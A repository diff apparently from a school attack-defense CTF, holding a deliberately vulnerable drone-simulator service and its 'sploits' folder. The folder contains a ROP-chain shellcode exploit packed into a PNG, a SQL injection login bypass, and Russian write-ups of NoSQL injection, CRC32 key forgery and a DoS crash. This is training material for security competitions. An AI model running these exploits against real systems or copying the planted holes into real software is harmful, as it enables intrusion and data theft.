||||
else:
|
||||
print(f"Unknown command: {command_name}", flush=True)
|
||||
|
||||
set_vars(drone["_id"], {"flight_plan": new_commands, "flight_log": new_log})
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env bash
|
||||
set -e
|
||||
set -o pipefail
|
||||
|
||||
CODON_INSTALL_DIR=~/.codon
|
||||
OS=$(uname -s | awk '{print tolower($0)}')
|
||||
ARCH=$(uname -m)
|
||||
|
||||
if [ "$OS" != "linux" ] && [ "$OS" != "darwin" ]; then
|
||||
echo "error: Pre-built binaries only exist for Linux and macOS." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CODON_BUILD_ARCHIVE=codon-$OS-$ARCH.tar.gz
|
||||
|
||||
mkdir -p $CODON_INSTALL_DIR
|
||||
cd $CODON_INSTALL_DIR
|
||||
curl -L https://github.com/exaloop/codon/releases/download/v0.17.0/"$CODON_BUILD_ARCHIVE" | tar zxvf - --strip-components=1
|
||||
|
||||
EXPORT_COMMAND="export PATH=$(pwd)/bin:\$PATH"
|
||||
echo "PATH export command:"
|
||||
echo " $EXPORT_COMMAND"
|
||||
|
||||
update_profile () {
|
||||
if ! grep -F -q "$EXPORT_COMMAND" "$1"; then
|
||||
read -p "Update PATH in $1? [y/n] " -n 1 -r
|
||||
echo
|
||||
|
||||
if [[ $REPLY =~ ^[Yy]$ ]]; then
|
||||
echo "Updating $1"
|
||||
echo >> $1
|
||||
echo "# Codon compiler path (added by install script)" >> $1
|
||||
echo $EXPORT_COMMAND >> $1
|
||||
else
|
||||
echo "Skipping."
|
||||
fi
|
||||
else
|
||||
echo "PATH already updated in $1; skipping update."
|
||||
fi
|
||||
}
|
||||
|
||||
if [[ "$SHELL" == *zsh ]]; then
|
||||
if [ -e ~/.zshenv ]; then
|
||||
update_profile ~/.zshenv
|
||||
elif [ -e ~/.zshrc ]; then
|
||||
update_profile ~/.zshrc
|
||||
else
|
||||
echo "Could not find zsh configuration file to update PATH"
|
||||
fi
|
||||
elif [[ "$SHELL" == *bash ]]; then
|
||||
if [ -e ~/.bash_profile ]; then
|
||||
update_profile ~/.bash_profile
|
||||
elif [ -e ~/.bash_login ]; then
|
||||
update_profile ~/.bash_login
|
||||
elif [ -e ~/.profile ]; then
|
||||
update_profile ~/.profile
|
||||
else
|
||||
echo "Could not find bash configuration file to update PATH"
|
||||
fi
|
||||
else
|
||||
echo "Don't know how to update configuration file for shell $SHELL"
|
||||
fi
|
||||
|
||||
echo "Codon successfully installed at: $(pwd)"
|
||||
echo "Open a new terminal session or update your PATH to use codon"
|
||||
28
ctfcup24-school-ad/services/flysim/flysim/misc.py
Normal file
28
ctfcup24-school-ad/services/flysim/flysim/misc.py
Normal file
@@ -0,0 +1,28 @@
|
||||
from functools import partial
|
||||
from bson import ObjectId
|
||||
|
||||
|
||||
def set_vars_(drones_collection, _id, what):
|
||||
drones_collection.update_one(
|
||||
{"_id": _id},
|
||||
{"$set": what},
|
||||
)
|
||||
|
||||
|
||||
def get_var_(drones_collection, _id, what):
|
||||
drone = drones_collection.find_one({"_id": ObjectId(_id)})
|
||||
return drone[what]
|
||||
|
||||
|
||||
def set_vars(*args, **kwargs):
|
||||
raise RuntimeError("Function not initialized. Call initialize() first")
|
||||
|
||||
|
||||
def get_var(*args, **kwargs):
|
||||
raise RuntimeError("Function not initialized. Call initialize() first")
|
||||
|
||||
|
||||
def initialize(drones_collection):
|
||||
global set_vars, get_var
|
||||
set_vars = partial(set_vars_, drones_collection)
|
||||
get_var = partial(get_var_, drones_collection)
|
||||
@@ -0,0 +1,5 @@
|
||||
Flask==3.0.3
|
||||
Flask-SocketIO==5.4.1
|
||||
pymongo==4.10.1
|
||||
gunicorn==23.0.0
|
||||
gevent==24.11.1
|
||||
220
ctfcup24-school-ad/services/flysim/flysim/server.py
Normal file
220
ctfcup24-school-ad/services/flysim/flysim/server.py
Normal file
@@ -0,0 +1,220 @@
|
||||
from flask import Flask, request, jsonify, abort
|
||||
from flask_socketio import SocketIO, join_room
|
||||
from pymongo import MongoClient
|
||||
from bson import ObjectId
|
||||
import os
|
||||
import time
|
||||
from datetime import datetime, timedelta
|
||||
import gevent
|
||||
import json
|
||||
import session_authenticator
|
||||
from flight_plans import process_flight_plan
|
||||
from functools import partial
|
||||
import misc
|
||||
from gevent.lock import BoundedSemaphore
|
||||
db_lock = BoundedSemaphore(1)
|
||||
app = Flask(__name__)
|
||||
socketio = SocketIO(app)
|
||||
|
||||
client = MongoClient(os.getenv("MONGO_URI"))
|
||||
db = client["drone_db"]
|
||||
drones_collection = db["drones"]
|
||||
|
||||
misc.initialize(drones_collection)
|
||||
|
||||
|
||||
DRONE_LIFETIME = 8 * 60 # in seconds
|
||||
|
||||
|
||||
@app.route("/create_drone", methods=["POST"])
|
||||
def create_drone():
|
||||
with db_lock:
|
||||
label = request.json.get("label", "NO_LABEL")
|
||||
secret_data = request.json.get("secret_data", "")
|
||||
flight_plan = request.json.get("flight_plan", "")
|
||||
|
||||
creation_time = datetime.now()
|
||||
drone = {
|
||||
"label": label,
|
||||
"position": [0, 0],
|
||||
"velocity": [0, 0],
|
||||
"control_key": "",
|
||||
"flight_plan": flight_plan,
|
||||
"flight_log": "",
|
||||
"secret_data": secret_data,
|
||||
"created_at": creation_time,
|
||||
"expires_at": creation_time + timedelta(seconds=DRONE_LIFETIME),
|
||||
}
|
||||
|
||||
result = drones_collection.insert_one(drone)
|
||||
drone_id = str(result.inserted_id)
|
||||
control_key = session_authenticator.generate(drone_id, label)
|
||||
|
||||
drones_collection.update_one(
|
||||
{"_id": result.inserted_id}, {"$set": {"control_key": control_key}}
|
||||
)
|
||||
|
||||
return jsonify(
|
||||
{
|
||||
"id": drone_id,
|
||||
"control_key": control_key,
|
||||
"expires_at": drone["expires_at"].isoformat(),
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
def filter_sensitive_data(
|
||||
data, filtered_fields=["control_key", "secret_data", "flight_plan", "flight_log"]
|
||||
):
|
||||
if isinstance(data, list):
|
||||
return [filter_sensitive_data(item) for item in data]
|
||||
elif isinstance(data, dict):
|
||||
return {k: v for k, v in data.items() if k not in filtered_fields}
|
||||
return data
|
||||
|
||||
|
||||
@app.route("/get_drones", methods=["GET"])
|
||||
def get_drones():
|
||||
with db_lock:
|
||||
with_field = request.args.get("with")
|
||||
if with_field:
|
||||
projection = json.loads(with_field)
|
||||
if len(projection[0]) == 1 and list(projection[0].keys())[0] == "$match":
|
||||
drones_response = list(drones_collection.aggregate(projection))
|
||||
|
||||
drones_response_final = []
|
||||
for item in drones_response:
|
||||
new_dict = item.copy()
|
||||
new_dict["id"] = str(new_dict["_id"])
|
||||
del new_dict["_id"]
|
||||
drones_response_final.append(new_dict)
|
||||
|
||||
return json.dumps(filter_sensitive_data(drones_response_final), default=str)
|
||||
return abort(403)
|
||||
else:
|
||||
drones_cursor = drones_collection.find({}, {"_id": 1})
|
||||
return json.dumps(
|
||||
[{"id": str(drone["_id"])} for drone in drones_cursor], default=str
|
||||
)
|
||||
|
||||
|
||||
@socketio.on("connect")
|
||||
def connect():
|
||||
print("Client connected")
|
||||
|
||||
|
||||
@socketio.on("disconnect")
|
||||
def disconnect():
|
||||
print("Client disconnected")
|
||||
|
||||
|
||||
@socketio.on("join_drone")
|
||||
def join_drone(data):
|
||||
with db_lock:
|
||||
drone_id = data["drone_id"]
|
||||
control_key = data["control_key"]
|
||||
|
||||
drone = drones_collection.find_one({"_id": ObjectId(drone_id)})
|
||||
|
||||
if drone and drone["control_key"] == control_key:
|
||||
join_room(drone_id)
|
||||
socketio.emit(
|
||||
"drone_connected", {"data": f"Connected to drone {drone_id}"}, room=drone_id
|
||||
)
|
||||
else:
|
||||
socketio.emit("error", {"data": "Invalid drone ID or control key"})
|
||||
|
||||
|
||||
@socketio.on("set_position")
|
||||
def set_position(data):
|
||||
with db_lock:
|
||||
drone_id = data["drone_id"]
|
||||
position = data["position"]
|
||||
|
||||
drones_collection.update_one(
|
||||
{"_id": ObjectId(drone_id)}, {"$set": {"position": position}}
|
||||
)
|
||||
|
||||
socketio.emit(
|
||||
"position_updated",
|
||||
{"id": drone_id, "new_position": position},
|
||||
room=drone_id,
|
||||
)
|
||||
|
||||
|
||||
@socketio.on("set_velocity")
|
||||
def set_velocity(data):
|
||||
with db_lock:
|
||||
drone_id = data["drone_id"]
|
||||
velocity = data["velocity"]
|
||||
|
||||
drones_collection.update_one(
|
||||
{"_id": ObjectId(drone_id)}, {"$set": {"velocity": velocity}}
|
||||
)
|
||||
|
||||
socketio.emit(
|
||||
"velocity_updated",
|
||||
{"id": drone_id, "new_velocity": velocity},
|
||||
room=drone_id,
|
||||
)
|
||||
|
||||
|
||||
def update_positions():
|
||||
with db_lock:
|
||||
current_time = datetime.now()
|
||||
|
||||
expired_drones = drones_collection.find({"expires_at": {"$lt": current_time}})
|
||||
for drone in expired_drones:
|
||||
drone_id = str(drone["_id"])
|
||||
drones_collection.delete_one({"_id": drone["_id"]})
|
||||
socketio.emit("drone_expired", {"id": drone_id}, room=str(drone["_id"]))
|
||||
|
||||
active_drones = drones_collection.find({"expires_at": {"$gt": current_time}})
|
||||
|
||||
for drone in active_drones:
|
||||
cur_time = (datetime.now() - drone["created_at"]).total_seconds()
|
||||
process_flight_plan(drone, cur_time)
|
||||
new_position = [
|
||||
drone["position"][0] + drone["velocity"][0],
|
||||
drone["position"][1] + drone["velocity"][1],
|
||||
]
|
||||
new_velocity = drone["velocity"].copy()
|
||||
|
||||
for i in range(2):
|
||||
if abs(new_position[i]) > 100:
|
||||
new_velocity[i] = -new_velocity[i]
|
||||
new_position[i] = 100 if new_position[i] > 0 else -100
|
||||
|
||||
drones_collection.update_one(
|
||||
{"_id": drone["_id"]},
|
||||
{"$set": {"position": new_position, "velocity": new_velocity}},
|
||||
)
|
||||
socketio.emit(
|
||||
"data_updated",
|
||||
{
|
||||
"id": str(drone["_id"]),
|
||||
"label": drone["label"],
|
||||
"position": new_position,
|
||||
"velocity": new_velocity,
|
||||
"cur_time": int(cur_time),
|
||||
"control_key": drone["control_key"],
|
||||
"flight_plan": drone["flight_plan"],
|
||||
"flight_log": drone["flight_log"],
|
||||
"secret_data": drone["secret_data"],
|
||||
"created_at": str(drone["created_at"]),
|
||||
"expires_at": str(drone["expires_at"]),
|
||||
},
|
||||
room=str(drone["_id"]),
|
||||
)
|
||||
|
||||
|
||||
def run_update_positions():
|
||||
print("start_background_task")
|
||||
while True:
|
||||
update_positions()
|
||||
gevent.sleep(1)
|
||||
|
||||
|
||||
socketio.start_background_task(run_update_positions)
|
||||
if __name__ == "__main__":
|
||||
socketio.run(app, host="0.0.0.0", port=9001)
|
||||
BIN
ctfcup24-school-ad/services/flysim/flysim/session_authenticator.so
Executable file
BIN
ctfcup24-school-ad/services/flysim/flysim/session_authenticator.so
Executable file
Binary file not shown.
0
ctfcup24-school-ad/sploits/.keep
Normal file
0
ctfcup24-school-ad/sploits/.keep
Normal file
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
hint = sys.argv[2]
|
||||
|
||||
url = f"http://{ip}:1337/get_note"
|
||||
|
||||
r = requests.post(url, json={
|
||||
"name": hint,
|
||||
})
|
||||
|
||||
print(r.json()["note"], flush=True)
|
||||
14
ctfcup24-school-ad/sploits/filtranator/README.md
Normal file
14
ctfcup24-school-ad/sploits/filtranator/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
## Сервис `filtranator`
|
||||
Сервис представляет собой приложение на Python (Flask), которое позволяет регистрироваться, логиниться и загружать картинки на сервер, после чего применять на них фильтры.
|
||||
Флаг хранится в поле `flag` в info метаданных каждой картинки, а также его можно прочитать c картинки напрямую.
|
||||
Также присутствует функциональность получения картинки для авторизованного пользователя.
|
||||
|
||||
## Уязвимости сервиса `filtranator`
|
||||
1. SQL injection в авторизации (Функция login).
|
||||
2. Stack overflow в бинарном приложении filterer. (Можно его разреверсить)
|
||||
|
||||
|
||||
В папке binary_rce содержится эксплойт, который позволяет пользователю записать и исполнить произвольный шеллкод( вы сами можете написать себе полезную нагрузку).
|
||||
|
||||
## DoS
|
||||
Если попытаться сделать неправильную sql иньекцию, то подключение к бд сломается и сервис перестанет нормально работать. Лечится перезапуском или запретом спецсимволов в регистрации или в логине.
|
||||
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/exploit.png
Normal file
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/exploit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.0 MiB |
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/filterer
Executable file
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/filterer
Executable file
Binary file not shown.
110106
ctfcup24-school-ad/sploits/filtranator/binary_rce/gadjets
Normal file
110106
ctfcup24-school-ad/sploits/filtranator/binary_rce/gadjets
Normal file
File diff suppressed because it is too large
Load Diff
128
ctfcup24-school-ad/sploits/filtranator/binary_rce/sploit.py
Executable file
128
ctfcup24-school-ad/sploits/filtranator/binary_rce/sploit.py
Executable file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This exploit template was generated via:
|
||||
# $ pwn template ./filterer
|
||||
from pwn import *
|
||||
from PIL import Image
|
||||
import random
|
||||
# Many built-in settings can be controlled on the command-line and show up
|
||||
# in "args". For example, to dump all data sent/received, and disable ASLR
|
||||
# for all created processes...
|
||||
# ./exploit.py DEBUG NOASLR
|
||||
|
||||
|
||||
def start(argv=[], *a, **kw):
|
||||
"""Start the exploit against the target."""
|
||||
if args.GDB:
|
||||
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
else:
|
||||
return process([exe.path] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
# GDB will be launched if the exploit is run via e.g.
|
||||
# ./exploit.py GDB
|
||||
gdbscript = """
|
||||
tbreak main
|
||||
continue
|
||||
""".format(**locals())
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
# Arch: amd64-64-little
|
||||
# RELRO: Partial RELRO
|
||||
# Stack: Canary found
|
||||
# NX: NX enabled
|
||||
# PIE: No PIE (0x400000)
|
||||
# Stripped: No
|
||||
# Debuginfo: Yes
|
||||
|
||||
# io = start()
|
||||
|
||||
|
||||
def set_number(pay, num, index, bytex):
|
||||
kekx = b""
|
||||
for i in range(bytex):
|
||||
kekx += ((num >> (8 * i)) & 0xFF).to_bytes(1, "little")
|
||||
print(kekx)
|
||||
pay2 = pay[:index] + kekx + pay[index + bytex :]
|
||||
return pay2
|
||||
|
||||
|
||||
payload = b"\x00" * 4194900
|
||||
ret_addr_index = 4194304 + 9 * 8
|
||||
|
||||
pop_rdi_pop_rbp = 0x0000000000403015
|
||||
|
||||
pop_rsi_pop_rbp = 0x0000000000425A2B
|
||||
|
||||
pop_rax = 0x0000000000402324
|
||||
|
||||
pop_r8 = 0x00000000005690BB
|
||||
|
||||
syscall = 0x00000000560C40
|
||||
|
||||
call_rsp = 0x0000000000527509
|
||||
|
||||
pop_rdx_r12_rbp = 0x00000000004F4C44
|
||||
|
||||
memcpy = 0x0000000052EE20
|
||||
|
||||
call_rax = 0x000000000042AFBF
|
||||
|
||||
mov_qword_r8_rsi = 0x000000000059FCA7
|
||||
|
||||
pop_rcx = 0x0000000000530823
|
||||
|
||||
# mprotect binary base to rwx (0x400000 addr)
|
||||
|
||||
payload = set_number(payload, pop_rdx_r12_rbp, 4194304 + 8 * 9, 8)
|
||||
payload = set_number(payload, 0x1000, 4194304 + 8 * 10, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 11, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 12, 8)
|
||||
|
||||
payload = set_number(payload, pop_rdi_pop_rbp, 4194304 + 8 * 13, 8)
|
||||
payload = set_number(payload, 0xA, 4194304 + 8 * 14, 8)
|
||||
payload = set_number(payload, 0x0, 4194304 + 8 * 15, 8)
|
||||
|
||||
|
||||
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 16, 8)
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 17, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 18, 8)
|
||||
|
||||
payload = set_number(payload, pop_rcx, 4194304 + 8 * 19, 8)
|
||||
payload = set_number(payload, 0x7, 4194304 + 8 * 20, 8)
|
||||
|
||||
|
||||
payload = set_number(payload, syscall, 4194304 + 8 * 21, 8)
|
||||
|
||||
|
||||
# write shellcode in rwx via gadjet (0x400000 addr)
|
||||
|
||||
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 22, 8)
|
||||
payload = set_number(payload, 0x13371337, 4194304 + 8 * 23, 8)
|
||||
payload = set_number(payload, 0x0, 4194304 + 8 * 24, 8)
|
||||
payload = set_number(payload, pop_r8, 4194304 + 8 * 25, 8)
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 26, 8)
|
||||
payload = set_number(payload, mov_qword_r8_rsi, 4194304 + 8 * 27, 8)
|
||||
|
||||
# return to sprayed shellcode
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 28, 8)
|
||||
|
||||
print(payload[4194304 + 9 * 8])
|
||||
|
||||
# print(payload)
|
||||
|
||||
im = Image.new("RGB", (4194900 // 3, 1))
|
||||
|
||||
# pix = im.load()
|
||||
|
||||
for i in range((4194304 + 9 * 8) // 3, 4194900 // 3):
|
||||
for j in range(1):
|
||||
im.putpixel((i, j), (payload[i * 3], payload[i * 3 + 1], payload[i * 3 + 2]))
|
||||
print(payload[i * 3])
|
||||
|
||||
im.save("exploit.png", compress_level=0)
|
||||
|
||||
# io.interactive()
|
||||
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/usr//bin/python3
|
||||
import io
|
||||
import requests
|
||||
|
||||
|
||||
IP = 'http://localhost'
|
||||
PORT = '6969'
|
||||
|
||||
def main():
|
||||
sess = requests.Session()
|
||||
username = from_attack
|
||||
resp = sess.post(
|
||||
IP + ":" + PORT + "/login", data={"username": username, "password": "' OR 1=1 --"}
|
||||
)
|
||||
print(resp.text)
|
||||
resp = sess.get(IP + ":" + PORT + "/images")
|
||||
print(resp.text)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
@@ -0,0 +1,26 @@
|
||||
## Сервис `flysim`
|
||||
Сервис представляет собой приложение на Python (Flask, SocketIO, gunicorn), симулирующее работу дронов - можно создать дрон, назначить ему скорость, полётный план (на какой секунде ускориться, поменять частоту) и наблюдать за его полётом (изменяются координаты каждый тик ~1сек). "Наблюдение" идёт через socket.io (websocket или polling).
|
||||
Флаг хранится в поле `secret_data`, и его можно узнать, лишь подключившись к дрону по socket.io с правильным `control_key` (штатным образом, без использования уязвимостей).
|
||||
Также присутствует функциональность получения всех созданных дронов (только id) и более детальный интерфейс (можно найти дрон с определённым label, причём получить все его данные за исключением приватных ("control_key", "secret_data", "flight_plan", "flight_log")).
|
||||
|
||||
## Уязвимости сервиса `flysim`
|
||||
1. NoSQL injection в параметре what= (`sploit_nosql.py`). Помимо "$match", можно дописать и "$lookup", сматчив все строки (`{"$match": {"label": {"$regex": "^.*"}}}`).
|
||||
2. CRC32 используется в `session_authenticator.generate(drone_id, label)` (это можно понять, отреверсив .so-шник, скомпиленный codon-ом) (`sploit_crc32.py`)
|
||||
3. В flight plan можно вызвать get_var (`sploit_flight_plan.py`) помимо "стандартных" операций типа BOOSTX/BOOSTY/FIRE/SETFREQ, `func = globals().get(command_name)` - get_var входит в globals.
|
||||
|
||||
## DoS
|
||||
`./client create --label asdf --flight-plan "BOOSTX [drone] 200\nBOOSTY [drone] 400\n"` (намеренно пропущено время запуска: не `0 BOOSTX [drone] 200`, а `BOOSTX [drone] 200`)
|
||||
Приведёт к ошибке:
|
||||
```
|
||||
flysim_1 | Traceback (most recent call last):
|
||||
flysim_1 | File "src/gevent/greenlet.py", line 900, in gevent._gevent_cgreenlet.Greenlet.run
|
||||
flysim_1 | File "/app/server.py", line 214, in run_update_positions
|
||||
flysim_1 | update_positions()
|
||||
flysim_1 | File "/app/server.py", line 176, in update_positions
|
||||
flysim_1 | process_flight_plan(drone, cur_time)
|
||||
flysim_1 | File "/app/flight_plans.py", line 50, in process_flight_plan
|
||||
flysim_1 | expected_time = int(parts[0])
|
||||
flysim_1 | ^^^^^^^^^^^^^
|
||||
flysim_1 | ValueError: invalid literal for int() with base 10: 'BOOSTX'
|
||||
```
|
||||
При этом цикл, отвечающий за обновление данных обо всех дронах и рассылку сообщений в socket.io-комнаты, перестанет работать и чекер будет timeout-ится в ожидании сообщения, которое не поступит.
|
||||
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
@@ -0,0 +1,31 @@
|
||||
create drone:
|
||||
./client create --ip 10.80.1.2
|
||||
|
||||
you can also specify label and (or) flight plan
|
||||
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
|
||||
|
||||
connect:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
|
||||
|
||||
connect with setting position and (or) velocity:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
|
||||
|
||||
by default, client keeps connection for 30 seconds. if you need more, add --duration:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
|
||||
|
||||
list drones (only ids):
|
||||
./client list-drones --ip 10.80.1.2
|
||||
|
||||
list drones (detailed):
|
||||
./client list-drones-details --ip 10.80.1.2
|
||||
|
||||
list details but only for one drone (by label):
|
||||
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
|
||||
|
||||
do not forget to use --help:
|
||||
|
||||
./client --help
|
||||
./client create --help
|
||||
./client connect --help
|
||||
./client list-drones --help
|
||||
./client list-drones-details --help
|
||||
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
@@ -0,0 +1,10 @@
|
||||
sudo apt install python3.12-venv
|
||||
|
||||
python3.12 -m venv flysim_client
|
||||
source flysim_client/bin/activate
|
||||
pip3.12 install -r requirements.txt
|
||||
pip3.12 install pyinstaller staticx
|
||||
|
||||
python3.12 -m PyInstaller --onefile client
|
||||
staticx dist/client dist/client_static
|
||||
# dist/client_static is the file you need
|
||||
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import click
|
||||
import drone_client
|
||||
import json
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class OrderedGroup(click.Group):
|
||||
def list_commands(self, ctx):
|
||||
# Return commands in the order they are defined
|
||||
return self.commands.keys()
|
||||
|
||||
|
||||
@click.group(cls=OrderedGroup)
|
||||
def cli():
|
||||
"""Drone Control CLI"""
|
||||
pass
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--label", help="Drone label")
|
||||
@click.option("--secret-data", help="Secret data for the drone")
|
||||
@click.option("--flight-plan", help="Flight plan for the drone")
|
||||
def create(ip, label, secret_data, flight_plan):
|
||||
"""Create a new drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
|
||||
if not client.create_drone(
|
||||
label=label,
|
||||
secret_data=secret_data,
|
||||
flight_plan=flight_plan.replace(r"\n", "\n") if flight_plan else None,
|
||||
):
|
||||
click.echo("Failed to create drone")
|
||||
return
|
||||
|
||||
credentials = {
|
||||
"drone_id": client.drone_id,
|
||||
"control_key": client.control_key,
|
||||
"ip": ip,
|
||||
}
|
||||
|
||||
click.echo(f"Drone created successfully:")
|
||||
click.echo(f"Drone ID: {client.drone_id}")
|
||||
click.echo(f"Control Key: {client.control_key}")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--drone-id", required=True, help="Drone ID")
|
||||
@click.option("--control-key", required=True, help="Control key")
|
||||
@click.option("--position", type=(float, float), help="Position coordinates (x, y)")
|
||||
@click.option("--velocity", type=(float, float), help="Velocity vector (vx, vy)")
|
||||
@click.option(
|
||||
"--duration", default=30, help="Duration to keep connection alive (seconds)"
|
||||
)
|
||||
def connect(ip, drone_id, control_key, position, velocity, duration):
|
||||
"""Connect to an existing drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.drone_id = drone_id
|
||||
client.control_key = control_key
|
||||
|
||||
if not client.connect_to_drone():
|
||||
click.echo("Failed to connect to drone")
|
||||
return
|
||||
|
||||
click.echo(f"Connected to drone {drone_id}")
|
||||
|
||||
if position:
|
||||
client.update_position(list(position))
|
||||
click.echo(f"Updated position to {position}")
|
||||
|
||||
if velocity:
|
||||
client.update_velocity(list(velocity))
|
||||
click.echo(f"Updated velocity to {velocity}")
|
||||
|
||||
click.echo(f"Keeping connection alive for {duration} seconds...")
|
||||
time.sleep(duration)
|
||||
|
||||
client.disconnect()
|
||||
click.echo("Disconnected from drone")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
def list_drones(ip):
|
||||
"""List all available drones"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.get_all_drones()
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option(
|
||||
"--label",
|
||||
"label",
|
||||
help="Target drone label. If label is not specified, all drones are shown.",
|
||||
)
|
||||
def list_drones_details(ip, label):
|
||||
"""List drone(s) with detailed information"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
if label:
|
||||
print(
|
||||
client.get_drones_with_details(json.dumps([{"$match": {"label": label}}]))
|
||||
)
|
||||
else:
|
||||
print(client.get_drones_with_details(json.dumps([{"$match": {}}])))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
@@ -0,0 +1,135 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
# def print(*args, **kwargs):
|
||||
# pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
